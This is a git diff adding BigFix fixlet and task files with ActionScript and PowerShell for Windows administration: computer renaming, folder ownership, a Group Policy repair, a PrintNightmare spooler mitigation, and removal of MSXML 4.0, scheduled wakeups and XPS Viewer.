+      <Value>{&quot;preInstall&quot;:null,&quot;postType&quot;:null,&quot;preType&quot;:null,&quot;selected&quot;:false,&quot;postInstall&quot;:null}</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-pkgTag</Name>
+      <Value></Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-pkgType</Name>
+      <Value></Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-swdSelectedFiles</Name>
+      <Value>[&quot;C861E36BD7A7F119757BCBA945BC6F23515E6715&quot;,&quot;054E100047CA5C0AAAB3C01CB965313E5994A00F&quot;]</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-canPreserveCustom</Name>
+      <Value>true</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-swdUseCommandLine</Name>
+      <Value>true</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-swdDeployCategory</Name>
+      <Value>Install</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-adf-wizard-source</Name>
+      <Value>Software Distribution_SoftwareDistribution</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-adf-wizard-data</Name>
+      <Value>&quot;&quot;</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 05 Mar 2019 18:20:28 +0000</Value>
+    </MIMEField>
+    <Domain>SYST</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp;</PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to deploy this action</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Disable wow64 redirection on x64 OSes
+action parameter query &quot;Path&quot; with description &quot;Please enter full path of the folder&quot;
+
+
+
+
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+set-executionpolicy unrestricted
+takeown /f {parameter &quot;Path&quot; of action} /R /D Y /A
+icacls {parameter &quot;Path&quot; of action} /Grant ‘System:(OI)(CI)F’ /T
+
+
+
+get-help | Out-File &quot;{(pathname of folder &quot;__BESData\__Global\Logs&quot; of parent folder of client)}\config_powershell.log&quot;
+
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy unrestricted -File powershell.ps1
+
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Powershell Computer Rename (Prompt) (26604).bes b/Sites/Windows Management/Fixlets/Fixlets/Powershell Computer Rename (Prompt) (26604).bes
new file mode 100644
index 000000000..aed81eac8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Powershell Computer Rename (Prompt) (26604).bes	
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Powershell Computer Rename (Prompt)
+  ID       : 26604
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2019-02-12T09:51:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Powershell Computer Rename (Prompt)</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Source>Brad Sexton</Source>
+    <SourceReleaseDate>2018-12-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 12 Feb 2019 17:45:51 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Disable wow64 redirection on x64 OSes
+action parameter query &quot;PC-Name&quot; with description &quot;Please enter the new PC name&quot;
+
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+$computerName = Get-WmiObject Win32_ComputerSystem
+$computername.Rename(&quot;{parameter &quot;PC-Name&quot; of action}&quot;)
+
+
+get-help | Out-File &quot;{(pathname of folder &quot;__BESData\__Global\Logs&quot; of parent folder of client)}\config_powershell.log&quot;
+
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy unrestricted -File powershell.ps1</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Registry.pol Corruption Fix (27373).bes b/Sites/Windows Management/Fixlets/Fixlets/Registry.pol Corruption Fix (27373).bes
new file mode 100644
index 000000000..907782408
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Registry.pol Corruption Fix (27373).bes	
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Registry.pol Corruption Fix
+  ID       : 27373
+  Author   : skyler
+  Domain   : BESC
+  Imported : 2025-02-25T09:10:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Registry.pol Corruption Fix</Title>
+    <Description><![CDATA[<P>Resolves an issue where computers do not retrieve Group Policy updates due to the following file&nbsp;being corrupted:<BR><STRONG>C:\Windows\System32\GroupPolicy\Machine\Registry.pol</STRONG><BR><BR>This fixlet&nbsp;deletes <STRONG>Registry.pol</STRONG> and then runs <STRONG>gpupdate /force</STRONG> to update Group Policy.</P>
+<P>By default this fixlet will remain open, reapply when relevant,&nbsp;and prompt the user to restart 4 hours after the action has finished.</P>]]></Description>
+    <Relevance>exists native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot;</Relevance>
+    <Relevance>(byte 0 of it, byte 1 of it, byte 2 of it, byte 3 of it) of native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot; != (80, 82, 101, 103)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2025-02-25</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 25 Feb 2025 17:07:31 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+if {exists native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot;}
+	move &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot; &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol.bak&quot;
+	delete &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol.bak&quot;
+endif
+
+waithidden gpupdate /force
+
+continue if {(not exists native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot;) or ((byte 0 of it, byte 1 of it, byte 2 of it, byte 3 of it) of native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot; = (80, 82, 101, 103))}</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/RemotePrint Disable Mitigation for Printnightmare vulnerability (26862).bes b/Sites/Windows Management/Fixlets/Fixlets/RemotePrint Disable Mitigation for Printnightmare vulnerability (26862).bes
new file mode 100644
index 000000000..ae63bda3f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/RemotePrint Disable Mitigation for Printnightmare vulnerability (26862).bes	
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : RemotePrint Disable Mitigation for Printnightmare vulnerability
+  ID       : 26862
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2021-07-08T13:34:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>RemotePrint Disable Mitigation for Printnightmare vulnerability</Title>
+    <Description><![CDATA[<P>Optionally configure the RegisterSpoolerRemoteRpcEndPoint registry value to&nbsp;disable remote printing<BR>Sets "[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers]" "RegisterSpoolerRemoteRpcEndPoint"=dword:00000002</P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists (keys &quot;HKLM\Software\Policies\Microsoft\Windows NT\Printers&quot; of native registry) whose (exists (value &quot;RegisterSpoolerRemoteRpcEndPoint&quot; of it) whose (it as string = &quot;2&quot; as string))</Relevance>
+    <Relevance>exists service &quot;spooler&quot; whose (start type of it != &quot;disabled&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2021-07-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 08 Jul 2021 20:14:50 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//gracefully stop spooler
+if {exists running service "spooler"}
+wait sc.exe stop spooler
+
+//wait 60 seconds for the service to stop gracefully
+parameter "startTime"="{now}"
+pause while {exists running service "spooler" OR (now-time(parameter "startTime") < 60*second) }
+endif
+
+//if it is still running, terminate the spooler service forecefully
+if {exists running service "spooler"}
+wait taskkill /pid {pid of process "spoolsv.exe"} /f
+endif
+//Add the registry key
+if {x64 of operating system}
+regset64 "[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers]" "RegisterSpoolerRemoteRpcEndPoint"=dword:00000002
+else
+regset "[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers]" "RegisterSpoolerRemoteRpcEndPoint"=dword:00000002
+endif
+//start the spooler back up.
+wait sc.exe start spooler
+
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action28148">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read more from Microsoft.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Remove MSXML 4.0 SP2 and 3 and updates with msiexec (26634).bes b/Sites/Windows Management/Fixlets/Fixlets/Remove MSXML 4.0 SP2 and 3 and updates with msiexec (26634).bes
new file mode 100644
index 000000000..ecc2adaeb
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Remove MSXML 4.0 SP2 and 3 and updates with msiexec (26634).bes	
@@ -0,0 +1,108 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Remove MSXML 4.0 SP2 and 3 and updates with msiexec
+  ID       : 26634
+  Author   : acybulski
+  Domain   : BESC
+  Imported : 2019-07-11T08:11:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Remove MSXML 4.0 SP2 and 3 and updates with msiexec</Title>
+    <Description>This fixlet fully scrubs a computer of MSXML Parser 4.0 which is past end of life. It does so by cycling through all of the possible MSIEXEC commands for the various versions of the Parser. </Description>
+    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance>exists (it as string as lowercase) whose (it starts with &quot;MSXML 4.0 SP3 Parser&quot; as lowercase) of values &quot;DisplayName&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x64 registries; x32 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-01-22</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 11 Jul 2019 15:07:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//REM Uninstalling MSXML 4.0 SP2 and updates
+//REM Uninstalling MSXML 4.0 SP2 Parser and SDK (Base Installer - msxml.msi)
+waithidden MsiExec.exe /uninstall {{716E0306-8318-4364-8B8F-0CC4E9376BAC} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result1&quot;=&quot;success&quot;
+else
+  parameter &quot;result1&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB925672 (MS06-061 - msxml4-KB925672-enu.exe)
+waithidden MsiExec.exe /uninstall {{A9CF9052-F4A0-475D-A00F-A8388C62DD63} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result2&quot;=&quot;success&quot;
+else
+  parameter &quot;result2&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB927978 (MS06-071 - msxml4-KB927978-enu.exe)
+waithidden MsiExec.exe /uninstall {{37477865-A3F1-4772-AD43-AAFC6BCFF99F} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result3&quot;=&quot;success&quot;
+else
+  parameter &quot;result3&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB936181 (MS07-042 - msxml4-KB936181-enu.exe)
+waithidden MsiExec.exe /uninstall {{C04E32E0-0416-434D-AFB9-6969D703A9EF} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result4&quot;=&quot;success&quot;
+else
+  parameter &quot;result4&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB954430 (MS08-069 - msxml4-KB954430-enu.exe)
+waithidden MsiExec.exe /uninstall {{86493ADD-824D-4B8E-BD72-8C5DCDC52A71} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result5&quot;=&quot;success&quot;
+else
+  parameter &quot;result5&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB973688 (Non Security Update - msxml4-KB973688-enu.exe)
+waithidden MsiExec.exe /uninstall {{F662A8E6-F4DC-41A2-901E-8C11F044BDEC} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result6&quot;=&quot;success&quot;
+else
+  parameter &quot;result6&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling MSXML 4.0 SP3 and updates
+//REM Uninstalling MSXML 4.0 SP3 Parser (Base Installer - msxml.msi)
+waithidden MsiExec.exe /uninstall {{196467F1-C11F-4F76-858B-5812ADC83B94} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result7&quot;=&quot;success&quot;
+else
+  parameter &quot;result7&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB973685 (Non Security Update - msxml4-KB973685-enu.exe)
+waithidden MsiExec.exe /uninstall {{859DFA95-E4A6-48CD-B88E-A3E483E89B44} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result8&quot;=&quot;success&quot;
+else
+  parameter &quot;result8&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB2721691 (MS12-043 - msxml4-KB2721691-enu.exe)
+Waithidden MsiExec.exe /uninstall {{355B5AC0-CEEE-42C5-AD4D-7F3CFD806C36} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result9&quot;=&quot;success&quot;
+else
+  parameter &quot;result9&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB2758694 (MS13-002 - msxml4-KB2758694-enu.exe)
+waithidden MsiExec.exe /uninstall {{1D95BA90-F4F8-47EC-A882-441C99D30C1E} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result10&quot;=&quot;success&quot;
+else
+  parameter &quot;result10&quot;=&quot;failure&quot;
+endif
+continue if [Parameter &quot;result1&quot; of action = &quot;success&quot; or Parameter &quot;result2&quot; of action = &quot;success&quot; or Parameter &quot;result3&quot; of action = &quot;success&quot; or Parameter &quot;result4&quot; of action = &quot;success&quot; or Parameter &quot;result5&quot; of action = &quot;success&quot; or Parameter &quot;result6&quot; of action = &quot;success&quot; or Parameter &quot;result7&quot; of action = &quot;success&quot; or Parameter &quot;result8&quot; of action = &quot;success&quot; or Parameter &quot;result9&quot; of action = &quot;success&quot; or Parameter &quot;result10&quot; of action = &quot;success&quot;}</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Remove Scheduled Wake from Standby - those not created by wizard (2528).bes b/Sites/Windows Management/Fixlets/Fixlets/Remove Scheduled Wake from Standby - those not created by wizard (2528).bes
new file mode 100644
index 000000000..3ecadfb3c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Remove Scheduled Wake from Standby - those not created by wizard (2528).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Remove Scheduled Wake from Standby - those not created by wizard
+  ID       : 2528
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-07-03T13:07:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Remove Scheduled Wake from Standby - those not created by wizard</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists keys whose(name of it starts with &quot;Wakeup Schedule Weekly &quot; OR name of it starts with &quot;Wakeup Schedule Daily &quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\ScheduledWakeups&quot; of registry)</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2013-02-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 04 Mar 2013 17:37:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[parameter "numOfValuesToChange" = "{number of keys whose(name of it starts with "Wakeup Schedule Weekly " OR name of it starts with "Wakeup Schedule Daily ") of key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\ScheduledWakeups" of registry}"
+prefetch StandbyTool.exe sha1:0cc50ebd3864dba672b659faf4caec7472bc23fa size:1640448 http://software.bigfix.com/download/bes/util/BFStandbyTool-1.4.exe
+utility __Download\StandbyTool.exe
+waithidden __Download\StandbyTool.exe /D "{(preceding text of first "," of (it & ",") of concatenation "," of (names of keys whose(name of it starts with "Wakeup Schedule Weekly " OR name of it starts with "Wakeup Schedule Daily ") of key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\ScheduledWakeups" of registry) as string)}"]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance">(parameter &quot;numOfValuesToChange&quot; of action as integer) &gt; (number of keys whose(name of it starts with &quot;Wakeup Schedule Weekly &quot; OR name of it starts with &quot;Wakeup Schedule Daily &quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\ScheduledWakeups&quot; of registry)</SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Remove XPS Viewer (648).bes b/Sites/Windows Management/Fixlets/Fixlets/Remove XPS Viewer (648).bes
new file mode 100644
index 000000000..b35e50d5b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Remove XPS Viewer (648).bes	
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Remove XPS Viewer
+  ID       : 648
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-30T14:53:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Remove XPS Viewer</Title>
+    <Description></Description>
+    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Relevance><![CDATA[exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version >= "2.0") of registry]]></Relevance>
+    <Category>Common Tasks</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2011-04-21</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 30 Oct 2012 19:50:51 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp; </PreLink>
+        <Link>here </Link>
+        <PostLink>&amp;nbsp;to deploy this action. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//============================================================================
+//PowerShell Script...
+//
+//1. Save old ExecutionPolicy value
+parameter &quot;PolicyExisted&quot;=&quot;{exists value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry)}&quot;
+parameter &quot;oldExecutionPolicy&quot;=&quot;{if (parameter &quot;PolicyExisted&quot; as boolean) then (value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) as string) else &quot;&quot;}&quot;
+//2. set to ExecutionPolicy=Unrestricted  and Pull PowerShell exe from registry... if 64bit then pull PowerShell x64
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;Unrestricted&quot;
+	parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+else
+	//we need to determine what the current execution policy is so we can put it back when we&apos;re done.
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;Unrestricted&quot;
+	parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of registry}&quot;
+endif
+//3. Create PowerShell script and save to a ps1 file
+delete __appendfile
+delete script.ps1
+createfile until END
+Import-Module c:\windows\system32\WindowsPowerShell\v1.0\Modules\ServerManager
+New-Item c:\temp\new_file.txt -type file
+#Remove-XPS Viewer - no reboot required
+$XPS = Get-WindowsFeature XPS-Viewer
+if ($XPS.Installed -eq &quot;True&quot;)
+{
+	Write-Host &quot;&quot;
+	Write-Host &quot;Removing XPS Viewer&quot;
+	Remove-WindowsFeature XPS-Viewer
+	Add-Content c:\temp\new_file.txt &quot;XPS Viewer Uninstalled&quot;
+}
+else
+{
+	Add-Content c:\temp\new_file.txt &quot;XPS Viewer Not Installed&quot;
+}
+END
+move __createfile script.ps1
+//4. Execute PowerShell with ps1 script file
+action uses wow64 redirection false
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -file &quot;{pathname of client folder of current site}\script.ps1&quot;
+action uses wow64 redirection {x64 of operating system}
+//5. Restore ExecutionPolicy back
+if {x64 of operating system}
+	if {parameter &quot;PolicyExisted&quot; as boolean}
+		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;oldExecutionPolicy&quot;}&quot;
+	else
+		regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;
+	endif
+else
+	if {parameter &quot;PolicyExisted&quot; as boolean}
+		regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;oldExecutionPolicy&quot;}&quot;
+	else
+		regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;
+	endif
+endif
+//============================================================================</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Remove _Last Man Standing_ Power Scheme (21436).bes b/Sites/Windows Management/Fixlets/Fixlets/Remove _Last Man Standing_ Power Scheme (21436).bes
new file mode 100644
index 000000000..a22420193
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Remove _Last Man Standing_ Power Scheme (21436).bes	
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Remove "Last Man Standing" Power Scheme
+  ID       : 21436
+  Author   : shwesc
+  Domain   : BESC
+  Imported : 2016-09-07T00:27:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Remove &quot;Last Man Standing&quot; Power Scheme</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>This Task will remove Last Man Standing Power Scheme on selected computers.
+<P>
+<P>After removing Last Man Standing settings, selected computers will no longer be excluded from Power Management tasks, however&nbsp;they will still be configured to never enter standby, and to function as a Wake on LAN forwarders.</P></TD></TR></TBODY></TABLE>
+<P><FONT color=#ff0000>Note</FONT>: It will set the Power Scheme to Balanced Power Schecme if the active power scheme is "Last Man Standing"</P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else true) AND (name of operating system starts with &quot;Win&quot; OR name of operating system = &quot;Mac OS X&quot;)</Relevance>
+    <Relevance><![CDATA[version of client >= "7.2" AND ((if (name of it= "Mac OS X") then (release of it >= "10.4" as version AND release of it < "10.9" as version) else true) of operating system)]]></Relevance>
+    <Relevance><![CDATA[((if (name of operating system starts with "Win") then (platform id of operating system != 3) else false) OR ((if (name of operating system = "Mac OS X") then (release of operating system >= "10.4" as version) else false)) OR (exists main gather service)) AND (if exists property "in proxy agent context" then (not in proxy agent context) else true)]]></Relevance>
+    <Relevance>exists keys whose (value &quot;FriendlyName&quot; of it as string as lowercase contains &quot;last man standing&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; of native registry</Relevance>
+    <Relevance>not exist settings whose(name of it contains &quot;PowerManagement_LastManStanding&quot; AND value of it = &quot;1&quot;) of client</Relevance>
+    <Category>Last Man Standing</Category>
+    <Source>BigFix</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2010-08-13</SourceReleaseDate>
+    <SourceSeverity>N/A</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 20 Jul 2010 23:51:34 +0000</Value>
+    </MIMEField>
+    <MIMEField>
